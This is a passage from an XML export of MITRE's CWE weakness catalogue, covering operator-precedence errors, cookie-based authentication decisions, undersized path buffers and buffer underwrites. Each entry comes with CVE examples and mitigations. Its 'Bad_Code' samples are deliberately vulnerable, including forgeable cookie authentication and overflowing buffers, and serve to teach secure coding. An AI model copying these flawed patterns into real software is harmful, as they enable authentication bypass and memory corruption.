				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Regularly wrap sub-expressions in parentheses, especially in
							security-critical code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, the method validateUser makes a call to
						another method to authenticate a username and password for a user and
						returns a success or failure code.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define FAIL 0</Code>
							              <Code>#define SUCCESS 1</Code>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Code>int validateUser(char *username, char *password) {</Code>
							              <Block>
								                <Code/>
								                <Code>int isUser = FAIL;</Code>
								                <Code/>
								                <Comment>// call method to authenticate username and
									password</Comment>
								                <Comment>// if authentication fails then return failure otherwise
									return success</Comment>
								                <Code>if (isUser = AuthenticateUser(username, password) == FAIL)
									{</Code>
								                <Block>
									                  <Code>return isUser;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>isUser = SUCCESS;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return isUser;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the method that authenticates the username and password is
							called within an if statement with incorrect operator precedence logic.
							Because the comparison operator "==" has a higher precedence than the
							assignment operator "=", the comparison operator will be evaluated first
							and if the method returns FAIL then the comparison will be true, the
							return variable will be set to true and SUCCESS will be returned. This
							operator precedence logic error can be easily resolved by properly using
							parentheses within the expression of the if statement, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code/>
							              <Code>if ((isUser = AuthenticateUser(username, password)) == FAIL)
								{</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the method calculates the return on investment for
						an accounting/financial application. The return on investment is calculated
						by subtracting the initial investment costs from the current value and then
						dividing by the initial investment costs.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public double calculateReturnOnInvestment(double currentValue,
								double initialInvestment) {</Code>
							              <Block>
								                <Code/>
								                <Code>double returnROI = 0.0;</Code>
								                <Code/>
								                <Comment>// calculate return on investment</Comment>
								                <Code>returnROI = currentValue - initialInvestment /
									initialInvestment;</Code>
								                <Code/>
								                <Code>return returnROI;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the return on investment calculation will not produce correct
							results because of the incorrect operator precedence logic in the
							equation. The divide operator has a higher precedence than the minus
							operator, therefore the equation will divide the initial investment
							costs by the initial investment costs which will only subtract one from
							the current value. Again this operator precedence logic error can be
							resolved by the correct use of parentheses within the equation, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code/>
							              <Code>returnROI = (currentValue - initialInvestment) /
								initialInvestment;</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
						            <Text>Note that the initialInvestment variable in this example should be
							validated to ensure that it is greater than zero to avoid a potential
							divide by zero error (CWE-369).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2516</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication module allows authentication bypass
						because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args))
						== SUCCESS)".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0599</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Language interpreter calculates wrong
						buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr
						? X : Y)" expression.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1155</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly check the result
						of a reverse DNS lookup because of operator precedence (CWE-783), allowing
						bypass of DNS-based access restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>EXP00-C. Use parentheses for precedence of
						operation</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Precedence", Page 287.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use parentheses for precedence of operation</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP00-C</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-07-16</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="784" Name="Reliance on Cookies without Validation and Integrity Checking in a Security Decision" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application uses a protection mechanism that relies on the
					existence or values of a cookie, but it does not properly ensure that the cookie
					is valid for the associated user.</Description_Summary>
				        <Extended_Description>
					          <Text> Attackers can easily modify cookies, within the browser or by
						implementing the client-side code outside of the browser. Attackers can
						bypass protection mechanisms such as authorization and authentication by
						modifying the cookie to contain an expected value.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>807</Relationship_Target_ID>
					          <!--Reliance on Untrusted Inputs in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>565</Relationship_Target_ID>
					          <!--Reliance on Cookies without Validation and Integrity Checking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Web-based" Prevalence="Often"/>
				        </Architectural_Paradigms>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>A new parent might need to be defined for this entry. This entry is
						specific to cookies, which reflects the significant number of
						vulnerabilities being reported for cookie-based authentication in CVE during
						2008 and 2009. However, other types of inputs - such as parameters or
						headers - could also be used for similar authentication or authorization.
						Similar issues (under the Research view) include CWE-247 and CWE-472.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It is dangerous to use cookies to set a user's privileges. The cookie
							can be manipulated to claim a high level of authorization, or to claim
							that successful authentication has occurred.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using cookie data for a security-related decision.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform thorough input validation (i.e.: server side validation) on
							the cookie data if you're going to use it for a security related
							decision.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Add integrity checks to detect tampering.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect critical cookies from replay attacks, since cross-site
							scripting or other attacks may allow attackers to steal a
							strongly-encrypted cookie that also passes integrity checks. This
							mitigation applies to cookies that should only be valid during a single
							transaction or session. By enforcing timeouts, you may limit the scope
							of an attack. As part of your integrity check, use an unpredictable,
							server-side value that is not exposed to the client.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-15">
					          <Intro_Text>The following code excerpt reads a value from a browser cookie to
						determine the role of the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("role")) {</Code>
								                <Block>
									                  <Code>userRole = c.getValue();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-16">
					          <Intro_Text>The following code could be for a medical records application. It
						performs authentication by checking if a cookie has been set.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$auth = $_COOKIES['authenticated'];</Code>
							              <Code>if (! $auth) {</Code>
							              <Block>
								                <Code>if (AuthenticateUser($_POST['user'], $_POST['password']) ==
									"success") {</Code>
								                <Block>
									                  <Comment>// save the cookie to send out in future
										responses</Comment>
									                  <Code>setcookie("authenticated", "1", time()+60*60*2);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>ShowLoginScreen();</Code>
									                  <Code>die("\n");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>DisplayMedicalHistory($_POST['patient_ID']);</Code>
						            </Block>
						            <Text>The programmer expects that the AuthenticateUser() check will always
							be applied, and the "authenticated" cookie will only be set when
							authentication succeeds. The programmer even diligently specifies a
							2-hour expiration for the cookie.</Text>
						            <Text>However, the attacker can set the "authenticated" cookie to a non-zero
							value such as 1. As a result, the $auth variable is 1, and the
							AuthenticateUser() check is not even performed. The attacker has
							bypassed the authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-17">
					          <Intro_Text>In the following example, an authentication flag is read from a
						browser cookie, thus allowing for external control of user state
						data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("authenticated") &amp;&amp;
									Boolean.TRUE.equals(c.getValue())) {</Code>
								                <Block>
									                  <Code>authenticated = true;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1549</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can bypass authentication by setting a
						cookie to a specific value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1619</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can bypass authentication and gain admin
						privileges by setting an "admin" cookie to 1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0864</Observed_Example_Reference>
					          <Observed_Example_Description>Content management system allows admin privileges
						by setting a "login" cookie to "OK."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5784</Observed_Example_Reference>
					          <Observed_Example_Description>e-dating application allows admin privileges by
						setting the admin cookie to 1. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6291</Observed_Example_Reference>
					          <Observed_Example_Description>Web-based email list manager allows attackers to
						gain admin privileges by setting a login cookie to "admin."
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>Unforgivable Vulnerabilities</Reference_Title>
					          <Reference_Date>2007-08-02</Reference_Date>
					          <Reference_Link>http://cve.mitre.org/docs/docs-2007/unforgivable.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 13, "Sensitive Data in Cookies and Fields" Page
						435</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-07-16</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="785" Name="Use of Path Manipulation Function without Maximum-sized Buffer" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software invokes a function for normalizing paths or file
					names, but it provides an output buffer that is smaller than the maximum
					possible size, such as PATH_MAX.</Description_Summary>
				        <Extended_Description>
					          <Text>Passing an inadequately-sized output buffer to a path manipulation
						function can result in a buffer overflow. Such functions include realpath(),
						readlink(), PathAppend(), and others.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>676</Relationship_Target_ID>
					          <!--Use of Potentially Dangerous Function-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Much of this entry was originally part of CWE-249, which was deprecated
						for several reasons.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>This entry is at a much lower level of abstraction than most entries
						because it is function-specific. It also has significant overlap with other
						entries that can vary depending on the perspective. For example, incorrect
						usage could trigger either a stack-based overflow (CWE-121) or a heap-based
						overflow (CWE-122). The CWE team has not decided how to handle such
						entries.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Windows provides a large number of utility functions that manipulate
						buffers containing filenames. In most cases, the result is returned in a
						buffer that is passed in as input. (Usually the filename is modified in
						place.) Most functions require the buffer to be at least MAX_PATH bytes in
						length, but you should check the documentation for each function
						individually. If the buffer is not large enough to store the result of the
						manipulation, a buffer overflow can occur.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always specify output buffers large enough to handle the maximum-size
							possible result from path manipulation functions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char *createOutputDirectory(char *name) {</Code>
							              <Block>
								                <Code>char outputDirectoryName[128];</Code>
								                <Code>if (getCurrentDirectory(128, outputDirectoryName) == 0)
									{</Code>
								                <Block>
									                  <Code>return null;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (!PathAppend(outputDirectoryName, "output")) {</Code>
								                <Block>
									                  <Code>return null;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (!PathAppend(outputDirectoryName, name)) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>return null;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) !=
									ERROR_SUCCESS) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>return null;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return StrDup(outputDirectoryName);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this example the function creates a directory named
							"output\&lt;name&gt;" in the current directory and returns a
							heap-allocated copy of its name. For most values of the current
							directory and the name parameter, this function will work properly.
							However, if the name parameter is particularly long, then the second
							call to PathAppend() could overflow the outputDirectoryName buffer,
							which is smaller than MAX_PATH bytes.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Often Misused: File System</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that passes buffer to path manipulation function
							where the size of the buffer is smaller than expected by the path
							manipulation function</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="786" Name="Access of Memory Location Before Start of Buffer" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software reads or writes to a buffer using an index or
					pointer that references a memory location prior to the beginning of the buffer. </Description_Summary>
				        <Extended_Description>
					          <Text>This typically occurs when a pointer or its index is decremented to a
						position before the buffer, when pointer arithmetic results in a position
						before the beginning of the valid memory location, or when a negative index
						is used.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>For an out-of-bounds read, the attacker may have access to sensitive
							information. If the sensitive information contains system details, such
							as the current buffers position in memory, this knowledge can be used to
							craft further attacks, possibly with more severe consequences.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Out of bounds memory access will very likely result in the corruption
							of relevant memory, and perhaps instructions, possibly leading to a
							crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the corrupted memory can be effectively controlled, it may be
							possible to execute arbitrary code. If the corrupted memory is data
							rather than instructions, the system will continue to function with
							improper changes, possibly in violation of an implicit or explicit
							policy. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-87">
					          <Intro_Text>In the following C/C++ example, a utility function is used to trim
						trailing whitespace from a character string. The function copies the input
						string to a local character string and uses a while statement to remove the
						trailing whitespace by moving backward through the string and overwriting
						whitespace with a NUL character.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char* trimTrailingWhitespace(char *strMessage, int length)
								{</Code>
							              <Block>
								                <Code>char *retMessage;</Code>
								                <Code>char *message = malloc(sizeof(char)*(length+1));</Code>
								                <Code/>
								                <Comment>// copy input string to a temporary string</Comment>
								                <Code>char message[length+1];</Code>
								                <Code>int index;</Code>
								                <Code>for (index = 0; index &lt; length; index++) {</Code>
								                <Block>
									                  <Code>message[index] = strMessage[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>message[index] = '\0';</Code>
								                <Code/>
								                <Comment>// trim trailing whitespace</Comment>
								                <Code>int len = index-1;</Code>
								                <Code>while (isspace(message[len])) {</Code>
								                <Block>
									                  <Code>message[len] = '\0';</Code>
									                  <Code>len--;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// return string without trailing whitespace</Comment>
								                <Code>retMessage = message;</Code>
								                <Code>return retMessage;</Code>
							              </Block>
